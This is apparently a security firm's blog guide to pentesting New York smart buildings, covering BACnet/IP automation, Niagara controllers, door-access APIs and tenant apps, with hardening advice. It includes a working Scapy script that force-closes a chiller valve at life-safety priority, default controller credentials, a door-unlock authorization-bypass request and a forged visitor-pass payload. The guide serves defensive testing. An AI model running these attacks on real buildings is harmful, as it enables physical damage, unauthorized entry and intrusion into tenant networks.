--- title: NYC Commercial Real Estate & PropTech Cybersecurity: Smart Building BMS/BAS and Tenant Portal Pentesting description: Engineering guide for Manhattan Class-A commercial towers and PropTech platforms. Pentesting BACnet/IP building automation, preventing OT-to-IT lateral movement, and securing tenant access APIs. date: 2026-11-06 category: Local Cybersecurity read_time: 14 min read author: Lorikeet Security url: https://lorikeetsecurity.com/blog/nyc-commercial-real-estate-proptech-cybersecurity --- # NYC Commercial Real Estate & PropTech Cybersecurity: Smart Building BMS/BAS and Tenant Portal Pentesting [** Back to Blog](/blog) **Overview:** Manhattan's Class-A commercial office towers and luxury residential complexes—from Hudson Yards and One Vanderbilt to Midtown East and the Financial District—have transformed into intelligent, software-defined ecosystems. However, the convergence of legacy Operational Technology (BMS/BAS running unauthenticated BACnet/IP), modern PropTech tenant experience mobile apps, and shared building fiber risers has introduced critical attack vectors. An unauthenticated compromise of an HVAC chiller controller or smart building gateway frequently provides an attacker with a direct path to pivot into high-value corporate tenant subnets. This guide provides building owners, REITs, and PropTech engineering teams with a technical offensive testing blueprint. ## The Convergence of Real Estate and Cyber Attack Surfaces in NYC New York City boasts the highest concentration of premium commercial real estate in the world. Modern Manhattan office towers are no longer static assemblies of steel and glass; they operate as interconnected digital cities. Building owners and Real Estate Investment Trusts (REITs) like SL Green, Vornado, Related Companies, and Brookfield have invested heavily in "smart building" infrastructure to optimize energy efficiency (under NYC Local Law 97 carbon mandates), automate HVAC performance, and offer seamless tenant smartphone access. This rapid digital transformation has unified three traditionally distinct technological domains onto shared physical and logical infrastructure: - **Building Automation Systems (BAS / BMS):** Industrial IoT controls governing central chiller plants, cooling towers, variable air volume (VAV) boxes, fire suppression monitors, and power switchgear. - **Physical Access Control Systems (PACS):** IP-connected door controllers, electronic turnstiles, elevator dispatch controllers (Otis Compass, Schindler PORT), and Bluetooth Low Energy (BLE) readers. - **PropTech SaaS & Tenant Portals:** Cloud-connected mobile applications and web APIs used by employees of tenant hedge funds, law firms, and tech companies to book conference rooms, invite visitors, and unlock secure perimeter turnstiles. The fundamental vulnerability in commercial real estate lies in the **network perimeter boundary between building facilities and corporate tenants**. Facilities managers frequently treat building systems as isolated, while IT teams assume building risers are secure physical conduits. When those boundaries erode, the consequences are severe. --- ## BMS/BAS Protocol Architecture: Dissecting BACnet/IP Weaknesses The building automation industry runs predominantly on **BACnet** (Building Automation and Control networks), formalized as ANSI/ASHRAE Standard 135. Originally designed in the 1990s for closed serial networks (MS/TP over RS-485), BACnet was later ported to Ethernet and UDP/IP as **BACnet/IP**. ### The Architectural Flaws of BACnet/IP (UDP Port 47808 / 0xBAC0) BACnet/IP operates on UDP port 47808. In the vast majority of Manhattan commercial properties, BACnet/IP is implemented in its legacy format, which contains zero intrinsic security: - **Zero Cryptographic Authentication:** Any device capable of sending a UDP packet to port 47808 can issue control commands to field controllers, Variable Frequency Drives (VFDs), and air handling units (AHUs). - **Unencrypted Cleartext Payload:** Every property value, temperature sensor readout, occupancy status, and control setpoint is transmitted in plaintext. An attacker on the local network or shared building VLAN can sniff complete operational data. - **Unchecked Broadcast Reconnaissance (`Who-Is` / `I-Am`):** Sending a BACnet `Who-Is` broadcast packet elicits an immediate `I-Am` response from every building controller, detailing its Vendor ID, Model Name, Firmware Revision, and Object Identifier list. - **Unauthenticated WriteProperty Overrides:** Attackers can issue `WriteProperty` (Service Choice `0x0F`) packets targeting Present_Value properties. By commanding chiller valves to close, setting cooling setpoints to 110°F, or commanding water pump VFDs to run at maximum overspeed, an attacker can trigger thermal equipment shutdowns or catastrophic physical water leaks. # Python / Scapy offensive script: BACnet/IP unauthenticated point override # Overriding an AHU (Air Handling Unit) cooling valve setpoint in an NYC office tower from scapy.all import * target_controller_ip = "10.120.44.15" # Chiller Plant Controller bacnet_port = 47808 # Default 0xBAC0 # BVLC: BACnet Virtual Link Control (Type: 0x81, Function: Original-Unicast-NPDU: 0x0a) bvlc_header = b"\x81\x0a\x00\x1b" # NPDU: Version 1, Control: 0x00 (Normal priority, no DNET/DLEN) npdu_header = b"\x01\x00" # APDU: Confirmed-Request (0x00), Max Segments/Size (0x02), Invoke ID (0x01) # Service Choice: 0x0F (WriteProperty) # Object Identifier: Analog Output #3 (Chiller Valve Position 0x00000003) # Property Identifier: Present_Value (0x55) # Priority: 1 (Manual Life Safety Override - Priority 0x01) # Value: 0.0% (Force Close - 0x44 0x00 0x00 0x00 0x00) apdu_payload = b"\x00\x02\x01\x0f\x0c\x00\x80\x00\x03\x19\x55\x3e\x44\x00\x00\x00\x00\x3f\x49\x01" packet = IP(dst=target_controller_ip)/UDP(sport=bacnet_port, dport=bacnet_port)/(bvlc_header + npdu_header + apdu_payload) send(packet) # Result: Chiller valve forcibly closed at Priority 1; tenant data center overheats in <18 minutes ### Tridium Niagara Fox Protocol & JACE Exposures A massive percentage of Manhattan skyscrapers utilize the **Tridium Niagara Framework**, featuring JACE (Java Application Control Engine) embedded controllers and Niagara Web Supervisors running on TCP ports 1911 and 4911 (Fox / FoxS protocol) and port 443. During commercial real estate penetration tests, Lorikeet Security frequently discovers: - **Exposed Fox Interfaces:** Legacy Niagara AX systems running unencrypted Fox on TCP 1911, vulnerable to credential replay and known Java deserialization vulnerabilities. - **Default Administrative Credentials:** Embedded JACE controllers deployed with vendor factory default credentials (e.g. `tridium` / `niagara` or `admin` / empty). - **Unpatched Niagara Web Supervisors:** Internet-exposed web management portals lacking Web Application Firewall (WAF) filtering, susceptible to directory traversal (CVE-2017-9653) and remote code execution. --- ## The OT-to-IT Attack Chain: From Rooftop HVAC to Corporate Tenant Subnets The most severe risk facing commercial landlords is not merely that an HVAC unit is disabled; it is the **lateral traverse from facilities Operational Technology (OT) into corporate tenant networks**. ### Anatomy of a Multi-Stage Commercial Real Estate Pivot In our red team engagements across Manhattan office towers, Lorikeet Security has repeatedly validated a repeatable, four-stage attack path: | Attack Stage | Adversary Technique | Underlying Infrastructure Failure | Tenant Impact | | --- | --- | --- | --- | | **Stage 1: Perimeter Breach** | Compromise of cellular 4G/5G maintenance modem (InHand, Sierra Wireless, Cradlepoint) | HVAC contractor installed unmanaged cellular router to bypass landlord firewall; default admin password | Attacker establishes persistent reverse shell inside the building riser OT network | | **Stage 2: OT Lateral Recon** | BACnet `Who-Is` discovery and ARP scanning across riser VLANs | Flat layer-2 riser architecture spanning basement chiller plants to 60th-floor cooling towers | Discovery of Niagara Web Supervisor and dual-homed building management servers | | **Stage 3: VLAN Hopping & Dual-Homed Pivot** | Exploiting dual-homed facilities workstation or 802.1Q double-tagging switch flaw | Workstation connected to both the isolated BMS VLAN and the corporate property management LAN | Attacker dumps LSASS memory on facilities PC, capturing Domain Admin credentials | | **Stage 4: Tenant Network Infiltration** | Sniffing shared trunk risers; compromising shared smart conference room IoT gateways | Tenant and landlord subnets share unencrypted trunk links without 802.1AE MACsec; rogue DHCP spoofing | Interception of tenant corporate traffic, Active Directory credential harvesting, ransomware deployment | This attack chain demonstrates why the "air-gap" in modern commercial properties is an illusion. Third-party vendors (mechanical contractors, elevator engineers, lighting specialists) constantly establish remote access backdoors to service warranties, creating unmonitored bridges into the heart of the tower. --- ## Smart Lock & Physical Access Controller Pentesting: HID, Brivo, Kisi & LenelS2 Physical security in Manhattan commercial towers has migrated to IP-based Physical Access Control Systems (PACS). Turnstiles, destination dispatch elevator banks, and secure floor doors are controlled by networked hardware controllers such as **Mercury Security (OEM for LenelS2, Software House, Genetec)**, **Brivo**, and **Kisi**. ### 1. Web API Authorization Flaws (BOLA / IDOR) Modern cloud-managed access platforms communicate with on-premises door controller hubs via HTTPS/REST and WebSockets. During API penetration testing, our engineers frequently identify **Broken Object Level Authorization (BOLA)** flaws: # HTTP API Request: Tampering door_id in tenant unlock endpoint POST /api/v2/locks/unlock HTTP/1.1 Host: api.smartproptech-platform.nyc Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... Content-Type: application/json { // Authenticated user is an employee of a 4th-floor marketing agency "user_id": "usr_mktg_4021", // Tampered door_id targeting a 38th-floor hedge fund server room door "door_id": "door_f38_server_rm_primary", "method": "mobile_tap" } # Response: 200 OK {"status": "unlocked", "relay_duration_ms": 5000} # Flaw: Backend API verified valid JWT token, but failed to cross-reference user tenant ID with door access matrix ### 2. Mobile Badge BLE Replay and Relay Attacks Employees tap their Apple Wallet passes or native smartphone apps (HID Mobile Access, Kisi) against wall readers via Bluetooth Low Energy (BLE) or Near Field Communication (NFC). If the mobile credential application fails to implement ephemeral cryptographic challenge-response nonces, an adversary in the lobby can sniff the advertisement packet or execute a relay attack over Wi-Fi, unlocking turnstiles without physical credentials. ### 3. Legacy Wiegand Wiring Vulnerabilities Even in ultra-modern skyscrapers, the physical connection between the external wall reader and the internal door controller board often relies on legacy **Wiegand protocol** wiring. Wiegand transmits card numbers over two data lines (Data 0 and Data 1) with **zero encryption**. In testing engagements where physical access is authorized, planting a miniature hardware interceptor (e.g., ESPKey or Blekey) behind an unsecured reader allows attackers to harvest facility codes and clone RFID badges indefinitely. Commercial towers must mandate **OSDP (Open Supervised Device Protocol) with Secure Channel encryption (AES-128)**. --- ## Tenant Experience Mobile Applications & PropTech Web Portals PropTech platforms (such as VTS Rise, HqO, Equiem, and bespoke landlord apps) provide tenants with mobile interfaces for building amenities, guest passes, and lease management. These applications present a lucrative target for attackers seeking to forge identities or exfiltrate private corporate tenant rosters. ### Visitor Pass Cryptographic Forgery When a tenant registers a guest, the mobile application generates a QR code scanned at security lobby desks. We routinely encounter applications that embed raw JSON data inside the QR code without cryptographic signatures (HMAC-SHA256): # Unsigned QR Code Payload decoded from guest invitation: { "guest_name": "Alex Vance", "host_company": "Suite 1200 Accounting", "valid_from": "2026-11-06T09:00:00Z", "valid_to": "2026-11-06T17:00:00Z", "access_tier": "standard_guest", "allowed_floors": [12] } # Forged QR Code re-encoded with higher privilege parameters: { "guest_name": "Alex Vance", "host_company": "Building Operations", "valid_from": "2026-11-06T00:00:00Z", "valid_to": "2026-11-07T23:59:59Z", "access_tier": "building_engineer_all_access", "allowed_floors": ["ALL"] } Because the turnstile barcode scanner merely verifies that the format is valid JSON and checks current timestamps, the attacker gains unrestricted physical elevator access to all floors. --- ## Hardening NYC Commercial Towers: The Zero Trust Real Estate Architecture Securing Class-A Manhattan properties requires adopting the **Purdue Enterprise Reference Architecture (PERA)**, adapted specifically for commercial real estate facilities: | Purdue Level | Real Estate Infrastructure | Recommended Defensive Architecture & Controls | | --- | --- | --- | | **Level 0 & 1 (Field Devices)** | VAV boxes, thermostat sensors, valve actuators, VFD pumps | Isolate on segregated RS-485 MS/TP loops; eliminate direct IP assignments to basic sensors. | | **Level 2 (Controllers)** | BACnet/IP field controllers, JACE panels, DDC boards | Migrate to **BACnet/SC (Secure Connect)** with TLS 1.3; disable legacy UDP 47808 routing; block internet egress. | | **Level 3 (Supervisory)** | Niagara Supervisors, BMS workstations, SCADA servers | Enforce hardware MFA; isolate inside a dedicated OT DMZ; implement immutable audit logging. | | **Level 4 (Enterprise / IT)** | Property management LAN, tenant Wi-Fi, billing networks | Strict layer-3 firewall boundaries; zero trust network access (ZTNA) for property managers; 802.1X port security. | | **Third-Party Vendor Remote Access** | Contractor maintenance connections (HVAC, elevators) | Ban unmanaged cellular modems; mandate ephemeral, session-recorded ZTNA tunnels with hardware MFA. | --- ## Frequently Asked Questions ** Why are Manhattan Class-A commercial towers vulnerable to OT-to-IT cyber traversal? Many Manhattan office towers share physical riser cabling, switch backbones, and third-party contractor networks between Operational Technology (BMS, HVAC, lighting, elevators) and Information Technology (corporate tenant networks, building Wi-Fi, tenant amenity apps). When building management systems lack strict microsegmentation or use flat VLANs, an attacker compromising an internet-facing HVAC controller or contractor jump box can pivot into corporate tenant subnets. ** What are the primary security weaknesses in the BACnet/IP protocol (UDP 47808)? Standard BACnet/IP (ANSI/ASHRAE 135) inherently lacks authentication, session encryption, and access control. Anyone with network access can send unauthenticated broadcast queries (Who-Is/I-Am), execute arbitrary WriteProperty commands to alter physical thermostat setpoints or shut down water chillers, and invoke ReinitializeDevice commands to reboot building field controllers. ** How do penetration testers evaluate smart lock and mobile badge access systems like HID, Brivo, and Kisi? Access control testing focuses on three attack surfaces: cloud and on-premises controller APIs (evaluating Broken Object Level Authorization, IDOR, and token forging to unlock arbitrary doors), Bluetooth Low Energy (BLE) mobile credentials (evaluating packet sniffing, replay, and relay attacks against door readers), and Wiegand/OSDP field wiring vulnerability to physical hardware implants. ** What vulnerabilities are common in PropTech tenant management mobile applications? Common vulnerabilities include Broken Object Level Authorization (BOLA) allowing tenants to view or modify other tenants' maintenance tickets, visitor logs, and lease documents; hardcoded administrative API keys in client-side mobile bundles; unvalidated visitor pass generation where QR codes can be forged; and insecure direct object references allowing elevation from residential tenant to building engineer. ** What is BACnet/SC and how does it remediate legacy BMS protocol risks? BACnet Secure Connect (BACnet/SC) is an addendum to the BACnet standard that eliminates unencrypted UDP broadcasts. It encapsulates BACnet messages within secure, point-to-point WebSocket connections encrypted via TLS 1.3 with mutual digital certificate authentication (mTLS). This prevents eavesdropping, packet injection, and unauthorized command execution across building networks. ## Secure Your Commercial Towers and PropTech Platforms Prevent physical disruption, eliminate OT-to-IT lateral attack paths, and validate your tenant access APIs. Partner with Lorikeet Security for comprehensive smart building and PropTech penetration testing. [** Request a Building Security Assessment](/talon/signup) [** View Talon PTaaS Tiers](/pricing) Link copied! Advertisement